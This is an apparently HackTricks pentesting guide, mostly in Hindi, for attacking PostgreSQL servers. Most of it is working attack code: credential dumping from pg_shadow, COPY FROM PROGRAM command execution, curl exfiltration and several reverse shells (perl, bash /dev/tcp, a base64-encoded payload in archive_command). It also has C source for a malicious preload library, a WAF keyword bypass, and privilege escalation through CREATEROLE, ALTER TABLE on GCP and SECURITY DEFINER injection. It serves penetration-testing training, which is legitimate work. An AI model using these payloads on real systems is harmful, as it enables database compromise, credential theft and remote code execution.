5432,5433 - Pentesting Postgresql
Reading time: 29 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
बुनियादी जानकारी
PostgreSQL को एक ऑब्जेक्ट-रिलेशनल डेटाबेस सिस्टम के रूप में वर्णित किया जाता है जो ओपन-सोर्स है। यह सिस्टम केवल SQL भाषा का उपयोग ही नहीं करता बल्कि अतिरिक्त सुविधाओं के साथ इसे बढ़ाता भी है। इसकी क्षमताएँ कई प्रकार के डेटा टाइप और ऑपरेशनों को संभालने की अनुमति देती हैं, जो डेवलपर्स और संगठनों के लिए इसे एक बहुमुखी विकल्प बनाती हैं।
डिफ़ॉल्ट पोर्ट: 5432 — और अगर यह पोर्ट पहले से उपयोग में है तो ऐसा लगता है कि postgresql अगला पोर्ट (संभवतः 5433) उपयोग करेगा जो उपलब्ध है।
PORT STATE SERVICE
5432/tcp open pgsql
कनेक्ट और बेसिक Enum
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
warning
अगर आप \list चलाकर rdsadmin नाम का डेटाबेस पाते हैं तो आप जानते हैं कि आप एक AWS postgresql database के अंदर हैं।
For more information about how to abuse a PostgreSQL database check:
स्वचालित एन्यूमरेशन
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
this research के अनुसार, जब एक कनेक्शन प्रयास विफल होता है, dblink एक sqlclient_unable_to_establish_sqlconnection exception फेंकता है जिसमें त्रुटि का स्पष्टीकरण शामिल होता है। इन विवरणों के उदाहरण नीचे सूचीबद्ध हैं।
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- Host अनुपलब्ध है
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port बंद है
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port खुला है
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
या
DETAIL: FATAL: password authentication failed for user "name"
- Port खुला है या फ़िल्टर्ड
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL functions, वर्तमान में exception details प्राप्त करना संभव नहीं है। हालांकि, यदि आपके पास PostgreSQL server तक direct access है, तो आप आवश्यक जानकारी प्राप्त कर सकते हैं। यदि सिस्टम टेबल्स से usernames और passwords निकालना संभव नहीं है, तो आप पिछले सेक्शन में चर्चा किए गए wordlist attack मेथड का उपयोग करने पर विचार कर सकते हैं, क्योंकि इससे सकारात्मक परिणाम मिल सकते हैं।
अधिकारों की सूची
| रोल प्रकार | विवरण |
|---|---|
| rolsuper | रोल को superuser विशेषाधिकार प्राप्त हैं। |
| rolinherit | रोल स्वतः ही उन रोल्स के अधिकार वारिस के रूप में प्राप्त कर लेता है जिसका यह सदस्य है। |
| rolcreaterole | रोल अन्य रोल्स बना सकता है। |
| rolcreatedb | रोल डेटाबेस बना सकता है। |
| rolcanlogin | रोल लॉग इन कर सकता है। अर्थात्, इस रोल को प्रारंभिक सत्र प्राधिकरण पहचानकर्ता के रूप में दिया जा सकता है। |
| rolreplication | रोल replication role है। एक replication role replication कनेक्शनों की शुरुआत कर सकता है और replication slots बना और हटा सकता है। |
| rolconnlimit | जिन रोल्स को लॉग इन करने की अनुमति है, उनके लिए यह इस रोल द्वारा किए जा सकने वाले समवर्ती कनेक्शनों की अधिकतम संख्या सेट करता है। -1 का अर्थ है कोई सीमा नहीं। |
| rolpassword | पासवर्ड नहीं (हमेशा ******** के रूप में पढ़ता है) |
| rolvaliduntil | पासवर्ड समाप्ति समय (केवल पासवर्ड authentication के लिए उपयोग होता है); समाप्ति नहीं होने पर null। |
| rolbypassrls | रोल प्रत्येक row-level security नीति को बायपास करता है, अधिक जानकारी के लिए Section 5.8 देखें। |
| rolconfig | रन-टाइम कॉन्फ़िगरेशन वेरिएबल्स के लिए रोल-विशिष्ट डिफ़ॉल्ट्स |
| oid | रोल की ID |
दिलचस्प समूह
- यदि आप
pg_execute_server_programके सदस्य हैं तो आप प्रोग्राम निष्पादित कर सकते हैं। - यदि आप
pg_read_server_filesके सदस्य हैं तो आप फाइलें पढ़ सकते हैं। - यदि आप
pg_write_server_filesके सदस्य हैं तो आप फाइलें लिख सकते हैं।
tip
ध्यान दें कि Postgres में एक user, एक group और एक role एक ही होते हैं। यह केवल इस बात पर निर्भर करता है कैसे आप इसे उपयोग करते हैं और क्या आप इसे login की अनुमति देते हैं।
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
तालिकाएँ
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
फ़ंक्शन्स
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
फ़ाइल-सिस्टम क्रियाएँ
डायरेक्टरी और फ़ाइलें पढ़ें
इस commit से परिभाषित DEFAULT_ROLE_READ_SERVER_FILES समूह (जिसे pg_read_server_files कहा जाता है) के सदस्य और super users किसी भी पथ पर COPY विधि का उपयोग कर सकते हैं (genfile.c में convert_and_check_filename देखें):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
warning
याद रखें कि यदि आप super user नहीं हैं लेकिन आपके पास CREATEROLE permissions हैं तो आप खुद को उस समूह का सदस्य बना सकते हैं:
GRANT pg_read_server_files TO username;
There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
आप अधिक फ़ंक्शन https://www.postgresql.org/docs/current/functions-admin.html में पा सकते हैं
सरल फ़ाइल लेखन
केवल super users और pg_write_server_files के सदस्य copy का उपयोग करके फ़ाइलें लिख सकते हैं।
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
warning
याद रखें कि अगर आप super user नहीं हैं लेकिन आपके पास CREATEROLE permissions हैं तो आप खुद को उस group का सदस्य बना सकते हैं:
GRANT pg_write_server_files TO username;
याद रखें कि COPY newline chars को हैंडल नहीं कर सकता, इसलिए भले ही आप base64 payload का उपयोग कर रहे हों आपको एक one-liner भेजना होगा.
इस तकनीक की एक बहुत महत्वपूर्ण सीमा यह है कि copy का उपयोग binary files लिखने के लिए नहीं किया जा सकता क्योंकि यह कुछ binary मानों को संशोधित कर देता है।
Binary files upload
हालाँकि, बड़े binary फाइल्स अपलोड करने के लिए अन्य तकनीकें भी मौजूद हैं:
Big Binary Files Upload (PostgreSQL)
Updating PostgreSQL table data via local file write
यदि आपके पास PostgreSQL server फाइलें पढ़ने और लिखने की आवश्यक permissions हैं, तो आप the PostgreSQL data directory में संबंधित file node को overwrite करके सर्वर पर किसी भी table को अपडेट कर सकते हैं। इस तकनीक के बारे में अधिक यहाँ।
आवश्यक कदम:
- PostgreSQL data directory प्राप्त करें
SELECT setting FROM pg_settings WHERE name = 'data_directory';
नोट: यदि आप settings से वर्तमान data directory path प्राप्त करने में असमर्थ हैं, तो आप SELECT version() क्वेरी के माध्यम से मुख्य PostgreSQL version पूछताछ कर सकते हैं और path brute-force करने का प्रयास कर सकते हैं। Unix इंस्टॉलेशन्स पर सामान्य data directory paths /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/ जैसे होते हैं। एक सामान्य cluster नाम main है।
- target table से संबंधित filenode का relative path प्राप्त करें
SELECT pg_relation_filepath('{TABLE_NAME}')
यह क्वेरी कुछ इस तरह कुछ लौटाना चाहिए: base/3/1337. डिस्क पर पूरा path होगा $DATA_DIRECTORY/base/3/1337, यानी /var/lib/postgresql/13/main/base/3/1337.
lo_*functions के माध्यम से filenode डाउनलोड करें
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- target table से संबंधित datatype प्राप्त करें
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- PostgreSQL Filenode Editor का उपयोग करके filenode को edit करें; सभी
rol*boolean flags को पूर्ण permissions के लिए 1 पर सेट करें।
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

- संशोधित filenode को फिर से
lo_*functions के माध्यम से re-upload करें, और डिस्क पर मौलिक फाइल को overwrite करें
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (वैकल्पिक) एक महँगी SQL क्वेरी चलाकर in-memory table cache को साफ़ करें
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- अब आपको PostgreSQL में updated table values दिखाई देनी चाहिए।
आप pg_authid table को edit करके भी superadmin बन सकते हैं। देखें the following section.
RCE
RCE to program
Since version 9.3, केवल super users और उस group pg_execute_server_program के सदस्य ही copy का उपयोग RCE के लिए कर सकते हैं (exfiltration के साथ उदाहरण:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
exec का उदाहरण:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
warning
ध्यान दें कि यदि आप super user नहीं हैं लेकिन आपके पास CREATEROLE permissions हैं तो आप खुद को उस समूह का सदस्य बना सकते हैं:
GRANT pg_execute_server_program TO username;
Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit.
More information about this vulnerability here. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixed.
keyword फ़िल्टर/WAF को बायपास करके COPY PROGRAM तक पहुँचें
In SQLi contexts with stacked queries, a WAF may remove or block the literal keyword COPY. You can dynamically construct the statement and execute it inside a PL/pgSQL DO block. For example, build the leading C with CHR(67) to bypass naive filters and EXECUTE the assembled command:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.
PostgreSQL Languages के साथ RCE
PostgreSQL extensions के साथ RCE
Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.
RCE with PostgreSQL Extensions
PostgreSQL configuration फ़ाइल RCE
tip
निम्न RCE vectors सीमित SQLi संदर्भों में विशेष रूप से उपयोगी हैं, क्योंकि सभी चरण nested SELECT statements के माध्यम से किए जा सकते हैं
PostgreSQL की configuration file डेटाबेस चला रहे postgres user द्वारा writable होती है, इसलिए एक superuser के रूप में आप filesystem में फ़ाइलें लिख सकते हैं, और इसलिए आप इस फ़ाइल को overwrite कर सकते हैं।
.png)
RCE with ssl_passphrase_command
More information about this technique here.
Configuration file में कुछ रोचक attributes हैं जो RCE का कारण बन सकते हैं:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'डेटाबेस की private key का pathssl_passphrase_command = ''अगर private फ़ाइल पासवर्ड (encrypted) से protected है तो postgresql इस attribute में दिए गए command को execute करेगा।ssl_passphrase_command_supports_reload = offयदि यह attribute on है तो यदि key पासवर्ड से protected है तो जो command execute किया जाएगा वहpg_reload_conf()के executed होने पर चलाया जाएगा।
तब, एक हमलावर को निम्न करना होगा:
- सर्वर से private key dump करें
- डाउनलोड की गई private key को encrypt करें:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key- Overwrite
- वर्तमान postgresql configuration को dump करें
- उल्लेखित attributes वाले configuration से configuration को overwrite करें:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = on- Execute
pg_reload_conf()
परीक्षण के दौरान मैंने देखा कि यह तभी काम करेगा जब private key file के privileges 640 हों, यह root का मालिकाना हो और group ssl-cert या postgres का हो (ताकि postgres user इसे पढ़ सके), और यह /var/lib/postgresql/12/main में स्थित हो।
RCE with archive_command
More information about this config and about WAL here.
Configuration file में एक और exploitable attribute archive_command है।
इसके काम करने के लिए, archive_mode setting को 'on' या 'always' होना चाहिए। यदि ऐसा है, तो हम archive_command में command को overwrite कर सकते हैं और WAL (write-ahead logging) operations के द्वारा उसे execute करने के लिए मजबूर कर सकते हैं।
The general steps are:
- Check whether archive mode is enabled:
SELECT current_setting('archive_mode') - Overwrite
archive_commandwith the payload. For eg, a reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl' - Reload the config:
SELECT pg_reload_conf() - Force the WAL operation to run, which will call the archive command:
SELECT pg_switch_wal()orSELECT pg_switch_xlog()for some Postgres versions
Large Objects के जरिए postgresql.conf संपादित करना (SQLi-friendly)
जब multi-line writes की जरूरत हो (जैसे कई GUCs सेट करने के लिए), तो PostgreSQL Large Objects का उपयोग करें ताकि config को पूरी तरह SQL से पढ़कर overwrite किया जा सके। यह तरीका उन SQLi संदर्भों में आदर्श है जहाँ COPY newlines या binary-safe writes को संभाल नहीं पाता।
Example (adjust the major version and path if needed, e.g. version 15 on Debian):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
यह archive_mode सक्षम होने पर postgres उपयोगकर्ता के रूप में archive_command के माध्यम से विश्वसनीय OS कमांड निष्पादन प्रदान करता है। व्यवहार में, archive_timeout को कम सेट करने से तेज़ बार-बार इनवोकेशन हो सकती है और स्पष्ट WAL स्विच की आवश्यकता नहीं पड़ती।
RCE with preload libraries
More information about this technique here.
यह अटैक वेक्टर निम्न कॉन्फ़िगरेशन वेरिएबल्स का फायदा उठाता है:
session_preload_libraries-- ऐसी लाइब्रेरीज़ जो PostgreSQL सर्वर द्वारा क्लाइंट कनेक्शन के समय लोड की जाएँगी।dynamic_library_path-- उन डायरेक्टरीज़ की सूची जहाँ PostgreSQL सर्वर लाइब्रेरीज़ खोजेगा।
हम dynamic_library_path वैल्यू को किसी ऐसी डायरेक्टरी में सेट कर सकते हैं जो डेटाबेस चला रहे postgres उपयोगकर्ता द्वारा लिखने योग्य हो, उदाहरण के लिए /tmp/ डायरेक्टरी, और वहाँ एक malicious .so ऑब्जेक्ट अपलोड कर सकते हैं। फिर, हम उस लाइब्रेरी को session_preload_libraries वेरिएबल में शामिल करके PostgreSQL सर्वर को हमारी अपलोड की हुई लाइब्रेरी लोड करने के लिए मजबूर करेंगे।
अटैक के चरण:
- मूल
postgresql.confफ़ाइल डाउनलोड करें dynamic_library_pathवैल्यू में/tmp/डायरेक्टरी शामिल करें, जैसेdynamic_library_path = '/tmp:$libdir'session_preload_librariesवैल्यू में malicious लाइब्रेरी का नाम शामिल करें, जैसेsession_preload_libraries = 'payload.so'- मुख्य PostgreSQL वर्शन की जाँच करें
SELECT version()क्वेरी के माध्यम से - सही PostgreSQL dev पैकेज के साथ malicious लाइब्रेरी कोड को कंपाइल करें। नमूना कोड:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
कोड को कॉम्पाइल करना:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- स्टेप 2-3 में बनाई गई malicious
postgresql.confको अपलोड करें और मूल फ़ाइल को ओवरराइट करें - स्टेप 5 से
payload.soको/tmpडायरेक्टरी में अपलोड करें - सर्वर को रीस्टार्ट करके या
SELECT pg_reload_conf()क्वेरी चलाकर सर्वर कॉन्फ़िगरेशन को रीलोड करें - अगले DB कनेक्शन पर, आपको reverse shell कनेक्शन मिल जाएगा।
Postgres Privesc
CREATEROLE Privesc
Grant
According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.
तो, यदि आपके पास CREATEROLE अनुमति है, तो आप अपने आप को अन्य roles (जो superuser नहीं हैं) में एक्सेस दे सकते हैं, जो आपको फाइलें पढ़ने और लिखने तथा कमांड निष्पादित करने का विकल्प दे सकते हैं:
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
पासवर्ड बदलें
इस भूमिका वाले उपयोगकर्ता अन्य गैर-सुपरयूज़र्स के पासवर्ड भी बदल सकते हैं:
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
Privesc to SUPERUSER
यह काफी आम है कि स्थानीय उपयोगकर्ता PostgreSQL में बिना कोई पासवर्ड दिए लॉगिन कर सकते हैं। इसलिए, एक बार जब आपके पास कोड निष्पादित करने की अनुमति मौजूद हो, तो आप इन अनुमतियों का दुरुपयोग करके स्वयं को SUPERUSER भूमिका दे सकते हैं:
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
tip
यह आम तौर पर निम्नलिखित लाइनों के कारण संभव होता है जो pg_hba.conf फ़ाइल में हैं:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
ALTER TABLE privesc
In this writeup यह बताया गया है कि कैसे उपयोगकर्ता को दिए गए ALTER TABLE privilege का दुरुपयोग करके Postgres GCP में privesc संभव हुआ।
जब आप कोशिश करते हैं कि किसी तालिका का किसी अन्य उपयोगकर्ता को तालिका का मालिक बनाना तो आपको इसे रोकने वाली एक त्रुटि मिलनी चाहिए, लेकिन स्पष्ट रूप से GCP ने वह विकल्प गैर-superuser postgres उपयोगकर्ता को दे दिया था:
.png)
इस विचार को इस तथ्य के साथ जोड़ें कि जब INSERT/UPDATE/ANALYZE कमांड किसी index function वाली तालिका पर चलाए जाते हैं, तो उस कमांड के हिस्से के रूप में वह फ़ंक्शन कॉलर जाता है और यह कॉल तालिका के मालिक की अनुमतियों के साथ होता है। किसी फ़ंक्शन के साथ एक index बनाकर उस तालिका का मालिकाना हक़ एक super user को दे देना संभव है, और फिर उस तालिका पर malicious फ़ंक्शन के साथ ANALYZE चलाने पर वह फ़ंक्शन owner के privileges का उपयोग करके कमांड्स execute कर पाएगा।
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
Exploitation
- सबसे पहले एक नया table बनाकर शुरू करें।
- Insert कुछ अप्रासंगिक सामग्री table में डालें ताकि index function के लिए डेटा मिल सके।
- एक malicious index function विकसित करें जिसमें code execution payload शामिल हो, जिससे unauthorized commands execute किए जा सकें।
- ALTER करके table का owner "cloudsqladmin" कर दें, जो GCP का superuser role है और केवल Cloud SQL द्वारा database को manage और maintain करने के लिए उपयोग होता है।
- table पर ANALYZE ऑपरेशन करें। यह क्रिया PostgreSQL engine को table के owner "cloudsqladmin" के user context में स्विच करने के लिए मजबूर करती है। नतीज़तन, malicious index function "cloudsqladmin" की permissions के साथ कॉल होता है, जिससे पहले unauthorized shell command का execution संभव हो जाता है।
In PostgreSQL, this flow looks something like this:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
इसके बाद, shell_commands_results तालिका निष्पादित किए गए कोड का आउटपुट रखेगी:
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
स्थानीय लॉगिन
कुछ गलत कॉन्फ़िगर किए गए postgresql इंस्टेंस किसी भी स्थानीय उपयोगकर्ता को लॉगिन की अनुमति दे सकते हैं, 127.0.0.1 से लोकल लॉगिन करना dblink function का उपयोग करके संभव है:
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
warning
ध्यान दें कि पिछले query के काम करने के लिए फंक्शन dblink मौजूद होना चाहिए। यदि यह मौजूद नहीं है तो आप इसे बनाने की कोशिश कर सकते हैं:
CREATE EXTENSION dblink;
यदि आपके पास अधिक privileges वाले user का password है, लेकिन उस user को external IP से login करने की अनुमति नहीं है, तो आप निम्नलिखित function का उपयोग उस user के रूप में queries execute करने के लिए कर सकते हैं:
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);
आप यह जांच सकते हैं कि यह फ़ंक्शन मौजूद है या नहीं:
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
कस्टम परिभाषित फ़ंक्शन जिसमें SECURITY DEFINER
In this writeup, pentesters एक IBM द्वारा प्रदान किए गए postgres इंस्टेंस के अंदर privesc करने में सक्षम थे, क्योंकि उन्होंने इस फ़ंक्शन को SECURITY DEFINER फ़्लैग के साथ पाया:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
As explained in the docs एक फ़ंक्शन SECURITY DEFINER के साथ निष्पादित होता है उन अधिकारों के साथ जो usके owner के पास होते हैं। इसलिए, यदि फ़ंक्शन SQL Injection के लिए संवेदनशील है या attacker द्वारा नियंत्रित params के साथ कुछ privileged actions कर रहा है, तो इसे postgres के अंदर privileges escalate करने के लिए दुरुपयोग किया जा सकता है।
पिछले कोड की लाइन 4 में आप देख सकते हैं कि फ़ंक्शन में SECURITY DEFINER फ्लैग मौजूद है।
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
और फिर कमांड्स चलाएँ:
.png)
Pass Burteforce with PL/pgSQL
PL/pgSQL एक पूर्ण-विशेषताओं वाली प्रोग्रामिंग भाषा है जो SQL की तुलना में अधिक procedural नियंत्रण प्रदान करती है। यह loops और अन्य control structures का उपयोग करने में सक्षम बनाती है ताकि प्रोग्राम लॉजिक बेहतर हो सके। इसके अलावा, SQL statements और triggers उन functions को कॉल कर सकते हैं जो PL/pgSQL language में बनाए गए हैं। यह एकीकरण database प्रोग्रामिंग और automation के लिए एक व्यापक और बहुमुखी दृष्टिकोण की अनुमति देता है.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.
Privesc by Overwriting Internal PostgreSQL Tables
tip
The following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
If you can read and write PostgreSQL server files, you can become a superuser by overwriting the PostgreSQL on-disk filenode, associated with the internal pg_authid table.
Read more about this technique here.
The attack steps are:
